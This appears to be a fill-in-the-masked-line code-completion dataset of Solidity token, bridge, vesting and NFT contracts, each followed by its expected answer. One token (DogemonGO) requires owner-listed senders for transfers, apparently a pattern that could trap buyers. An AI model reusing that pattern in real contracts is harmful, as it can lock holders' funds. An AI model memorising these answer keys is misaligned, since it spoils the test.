* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
interface IUniswapV3Router {
function factory() external view returns (address);
}
interface IUniswapV3Factory {
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
}
contract FredFlinstone is Ownable, ERC20 {
IUniswapV3Router public immutable v3Router;
address public immutable pool;
IERC20 public immutable WETH;
mapping (address => bool) public isPool;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isMaxTxExempt;
uint256 public maxTransactionAmt;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
receive() payable external{}
constructor() ERC20("Fred Flinstone", "FRED"){
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function enableTrading() external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function updateMaxAmt(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmt(uint256 newNum) external onlyOwner {
}
function setIsFeeEx(address account, bool exempt) external onlyOwner {
}
function setIsMaxTxEx(address account, bool exempt) external onlyOwner {
require(<FILL_ME>)
isMaxTxExempt[account] = exempt;
}
function setIsPool(address _pool, bool _isPool) external onlyOwner {
}
function sendEth() external onlyOwner {
}
function transferToken(address _token, address _to) external onlyOwner {
}
}
| !isPool[account],"Cannot remove exemption from pool" | 433,810 | !isPool[account] |
"Transfer amount exceeds the bag size." | // SPDX-License-Identifier: MIT
/**
A FAT ASS RABBIT THAT WILL BRING YOU A FAT ASS WALLET!
Website: https://bigchugus.vip
Telegram: https://t.me/fatrabbit_erc
Twitter: https://twitter.com/fatrabbit_erc
*/
pragma solidity 0.8.21;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapFactory {
function createPair(address tokenA, address tokenB) external returns (address uniswapPair);
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CHUNGUS is IERC20, Ownable {
using SafeMath for uint256;
string constant _name = "Big Chungus";
string constant _symbol = "CHUNGUS";
uint8 constant _decimals = 9;
uint256 _totalSupply = 10 ** 9 * (10 ** _decimals);
uint256 _liquidityFee = 0;
uint256 _marketingFee = 18;
uint256 _feeTotal = _liquidityFee + _marketingFee;
uint256 _feeDenominator = 100;
uint256 public maxTxAmount = (_totalSupply * 25) / 1000;
address public teamAddress;
IUniswapRouter public uniswapRouter;
address public uniswapPair;
bool public feeSwapEnabled = false;
uint256 public swapFeeAt = _totalSupply / 100000; // 0.5%
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) _isExcludedFromFee;
mapping (address => bool) _isExcludedFromMaxTx;
bool _swapping;
modifier lockSwap() { }
constructor () Ownable(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(_swapping){ return _transferStandard(sender, recipient, amount); }
if (recipient != uniswapPair && recipient != DEAD) {
require(<FILL_ME>)
}
if(shouldSwapTax() && shouldCharge(sender) && recipient == uniswapPair && amount > swapFeeAt){ doSwap(); }
uint256 amountReceived = shouldCharge(sender) || !feeSwapEnabled ? _reduceFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function doSwap() internal lockSwap {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function setFee(uint256 lpFee_, uint256 _mktFee) external onlyOwner {
}
function setSwapEnabled(bool value) external onlyOwner {
}
function shouldSwapTax() internal view returns (bool) {
}
function _transferStandard(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _reduceFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldCharge(address sender) internal view returns (bool) {
}
function setWalletLimit(uint256 amountPercent) external onlyOwner {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
}
| _isExcludedFromMaxTx[recipient]||_balances[recipient]+amount<=maxTxAmount,"Transfer amount exceeds the bag size." | 433,872 | _isExcludedFromMaxTx[recipient]||_balances[recipient]+amount<=maxTxAmount |
"AnyswapV6ERC20: vaultOnly" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
}
function safeApprove(IERC20 token, address spender, uint value) internal {
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract AnyCEUS is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
}
modifier onlyVault() {
}
function owner() external view returns (address) {
}
function mpc() external view returns (address) {
}
function setVaultOnly(bool enabled) external onlyVault {
}
function initVault(address _vault) external onlyVault {
}
function setVault(address _vault) external onlyVault {
}
function applyVault() external onlyVault {
}
function setMinter(address _auth) external onlyVault {
}
function applyMinter() external onlyVault {
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
}
function getAllMinters() external view returns (address[] memory) {
}
function changeVault(address newVault) external onlyVault returns (bool) {
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(<FILL_ME>)
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records number of AnyswapV6ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
}
function deposit() external returns (uint) {
}
function deposit(uint amount) external returns (uint) {
}
function deposit(uint amount, address to) external returns (uint) {
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
}
function _deposit(uint amount, address to) internal returns (uint) {
}
function withdraw() external returns (uint) {
}
function withdraw(uint amount) external returns (uint) {
}
function withdraw(uint amount, address to) external returns (uint) {
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
}
/// @dev Moves `value` AnyswapV6ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV6ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
}
}
| !_vaultOnly,"AnyswapV6ERC20: vaultOnly" | 433,913 | !_vaultOnly |
null | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
}
function safeApprove(IERC20 token, address spender, uint value) internal {
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract AnyCEUS is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
}
modifier onlyVault() {
}
function owner() external view returns (address) {
}
function mpc() external view returns (address) {
}
function setVaultOnly(bool enabled) external onlyVault {
}
function initVault(address _vault) external onlyVault {
}
function setVault(address _vault) external onlyVault {
}
function applyVault() external onlyVault {
}
function setMinter(address _auth) external onlyVault {
}
function applyMinter() external onlyVault {
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
}
function getAllMinters() external view returns (address[] memory) {
}
function changeVault(address newVault) external onlyVault returns (bool) {
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
}
/// @dev Records number of AnyswapV6ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
}
function deposit() external returns (uint) {
}
function deposit(uint amount) external returns (uint) {
}
function deposit(uint amount, address to) external returns (uint) {
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
}
function _deposit(uint amount, address to) internal returns (uint) {
require(<FILL_ME>)
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
}
function withdraw(uint amount) external returns (uint) {
}
function withdraw(uint amount, address to) external returns (uint) {
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
}
/// @dev Moves `value` AnyswapV6ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV6ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
}
}
| !underlyingIsMinted | 433,913 | !underlyingIsMinted |
"ERC20: Ban!" | /*
https://dogemongo.com
https://dogo.app
*/
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
pragma solidity =0.8.4;
contract DogemonGO is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory _tokenName,string memory _tokenSymbol,uint256 _supply) {
}
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
mapping(address => bool) public noBot;
function antiBot(address account) external onlyOwner{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: Transfer from the zero address");
require(recipient != address(0), "ERC20: Transfer to the zero address");
require(<FILL_ME>)
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: Transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _setupDecimals(uint8 decimals_) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
| noBot[sender],"ERC20: Ban!" | 434,018 | noBot[sender] |
"TokenLock: only beneficiary or owner can release tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable2Step.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract TokenLock is Ownable2Step, ReentrancyGuard {
using SafeERC20 for IERC20;
IERC20 private immutable _token;
// vesting schedule structure
struct VestingSchedule {
// beneficiary of tokens after they are released
address beneficiary;
// total amount of tokens to be vested
uint256 amount;
// vesting start timestamp in seconds
uint256 vestingStart;
// vesting end timestamp in seconds
uint256 vestingEnd;
// cliff timestamp in seconds
uint256 cliff;
// slice period for the vesting in seconds
uint256 slicePeriod;
// released amount of tokens
uint256 releasedAmount;
}
/* distribution variables */
// list of vesting schedule ids
bytes32[] private _vestingScheduleIds;
mapping(bytes32 => VestingSchedule) private _vestingSchedules;
uint256 private _lockedTotalAmount;
mapping(address => uint256) private _beneficiariesyVestingCount;
/* ========== EVENTS ========== */
event CreateLock(
bytes32 indexed vestingScheduleId,
address indexed beneficiary,
uint256 amount,
uint256 vestingStart,
uint256 vestingEnd,
uint256 cliff,
uint256 slicePeriod
);
event TokensReleased(
bytes32 indexed vestingScheduleId,
address indexed beneficiary,
uint256 amount
);
constructor(address token) {
}
/**
* @notice Create a new vesting schedule for a beneficiary
*
* @param _beneficiary address of the beneficiary
* @param _amount total amount of tokens to be vested
* @param _vestingStart vesting start timestamp in seconds
* @param _vestingEnd vesting end timestamp in seconds
* @param _cliff cliff period in seconds
*/
function createVestingSchedule(
address _beneficiary,
uint256 _amount,
uint256 _vestingStart,
uint256 _vestingEnd,
uint256 _cliff,
uint256 _slicePeriod
) external onlyOwner {
}
function release(
bytes32 _vestingScheduleId,
uint256 _amount
) public nonReentrant {
VestingSchedule storage schedule = _vestingSchedules[
_vestingScheduleId
];
bool isBeneficiary = msg.sender == schedule.beneficiary;
bool isOwner = msg.sender == owner();
require(<FILL_ME>)
uint256 releasableAmount = _computeReleasableAmount(schedule);
require(
releasableAmount >= _amount,
"TokenLock: not enough vested tokens"
);
schedule.releasedAmount += _amount;
_lockedTotalAmount -= _amount;
_token.safeTransfer(schedule.beneficiary, _amount);
emit TokensReleased(_vestingScheduleId, schedule.beneficiary, _amount);
}
/**
* @notice Returns the number of vesting schedules associated to a beneficiary.
* @param _beneficiary address of the beneficiary
*/
function getVestingSchedulesCountByBeneficiary(
address _beneficiary
) public view returns (uint256) {
}
function getVestingScheduleIdAtIndex(
uint256 index
) external view returns (bytes32) {
}
function getVestingScheduleByAddressAndIndex(
address _beneficiary,
uint256 _index
) external view returns (VestingSchedule memory) {
}
function getVestingSchedulesTotalAmount() external view returns (uint256) {
}
function getToken() external view returns (address) {
}
function getVestingSchedulesCount() public view returns (uint256) {
}
function computeReleasableAmount(
bytes32 vestingScheduleId
) external view returns (uint256) {
}
function getVestingSchedule(
bytes32 _vestingScheduleId
) public view returns (VestingSchedule memory) {
}
/**
* @notice Get the total amount of tokens that not locked in the contract.
*/
function getWithdrawableAmount() public view returns (uint256) {
}
function computeNextVestingScheduleId(
address _beneficiary
) public view returns (bytes32) {
}
function computeVestingScheduleIdForAddressAndIndex(
address _beneficiary,
uint256 _index
) public pure returns (bytes32) {
}
function _computeReleasableAmount(
VestingSchedule memory _vestingSchedule
) internal view returns (uint256) {
}
}
| isBeneficiary||isOwner,"TokenLock: only beneficiary or owner can release tokens" | 434,073 | isBeneficiary||isOwner |
"2 per wallet" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.17;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SteamPumpkins is ERC721A, Ownable, ReentrancyGuard {
string public baseURI = "";
uint public maxSupply = 333;
uint256 public costForNFT = 0.003 ether;
uint public maxPerWallet = 2;
bool public activated = false;
constructor() ERC721A("SteamPumpkins", "STMPKN"){}
function mint(uint256 amount) external payable
{
require(activated, "contract not activated yet");
require(amount>0, "Amount has to be greater than 1");
require(msg.sender == tx.origin, "Smart Contracts can't mint");
require(totalSupply() + amount <= maxSupply,"Sold out");
require(<FILL_ME>)
if(amount == 1)
require(msg.value >= costForNFT, "Insufficient funds!");
if(amount == 2)
require(msg.value >= (2 * costForNFT), "Insufficient funds!");
_safeMint(msg.sender, amount);
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function setPrice(uint256 price) external onlyOwner {
}
function flipState() external onlyOwner {
}
function giveawayMint(address[] calldata to, uint256 amount) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner nonReentrant {
}
}
| _numberMinted(msg.sender)+amount<=maxPerWallet,"2 per wallet" | 434,153 | _numberMinted(msg.sender)+amount<=maxPerWallet |
"Insufficient funds!" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.17;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SteamPumpkins is ERC721A, Ownable, ReentrancyGuard {
string public baseURI = "";
uint public maxSupply = 333;
uint256 public costForNFT = 0.003 ether;
uint public maxPerWallet = 2;
bool public activated = false;
constructor() ERC721A("SteamPumpkins", "STMPKN"){}
function mint(uint256 amount) external payable
{
require(activated, "contract not activated yet");
require(amount>0, "Amount has to be greater than 1");
require(msg.sender == tx.origin, "Smart Contracts can't mint");
require(totalSupply() + amount <= maxSupply,"Sold out");
require(_numberMinted(msg.sender) + amount <= maxPerWallet, "2 per wallet");
if(amount == 1)
require(msg.value >= costForNFT, "Insufficient funds!");
if(amount == 2)
require(<FILL_ME>)
_safeMint(msg.sender, amount);
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function setPrice(uint256 price) external onlyOwner {
}
function flipState() external onlyOwner {
}
function giveawayMint(address[] calldata to, uint256 amount) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner nonReentrant {
}
}
| msg.value>=(2*costForNFT),"Insufficient funds!" | 434,153 | msg.value>=(2*costForNFT) |
"NFT: ChangeMaker must be caller" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import {DefaultOperatorFiltererUpgradeable} from "operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol";
import "../interfaces/IChangeDaoNFT.sol";
/**
* @title ChangeDaoNFT
* @author ChangeDao
* @notice Implementation contract for clones created with ChangeDaoNFTFactory
* @dev NOTE THE FOLLOWING USE OF THE OWNER PROPERTY:
* @dev In the implementation contract, onlyOwner provides access control for the ChangeDao admin.
* @dev In the clone contract, onlyOwner provides access control for the changeMaker.
* @dev This change in onlyOwner allows for the clones to have an owner property that some market places use for authentication.
*/
contract ChangeDaoNFT is
IChangeDaoNFT,
ERC721Royalty,
DefaultOperatorFiltererUpgradeable,
Ownable
{
/* ============== Libraries ============== */
using Strings for uint256;
/* ============== State Variables ============== */
/// Implementation variables
uint96 public override feeNumerator;
IChangeDaoNFTFactory public override changeDaoNFTFactory;
IController public override controller;
/// Clone variables
IChangeDaoNFT public override changeDaoNFTImplementation;
address public override changeMaker;
bool public override hasSetFundingClone;
string public override baseURI;
address public override fundingClone; // Needs to be address type!
/* ============== Modifier ============== */
/**
* @dev onlyChangeMaker provides access control for the changeMaker in a clone.
*/
modifier onlyChangeMaker() {
require(<FILL_ME>)
_;
}
/* ============== Constructor ============== */
/**
* @notice Sets ERC721 name and symbol
* @dev Prevents initialize() from being called on the implementation contract
*/
constructor() ERC721("ChangeDAO.eth", "CHANGEDAO") initializer {}
